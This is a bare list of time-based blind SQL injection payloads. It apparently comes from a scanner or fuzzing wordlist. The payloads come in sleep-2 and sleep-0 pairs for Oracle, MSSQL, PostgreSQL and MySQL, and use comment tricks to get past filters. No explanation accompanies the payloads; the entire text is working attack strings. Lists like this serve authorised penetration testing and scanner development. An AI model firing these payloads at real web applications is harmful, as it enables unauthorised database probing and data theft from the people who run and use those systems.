123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',2)='b

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',0)='x

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('y',2)

123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('a',0)

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

(select*from(select+sleep(2)union/**/select+1)a)

(select*from(select+sleep(0)union/**/select+1)a)

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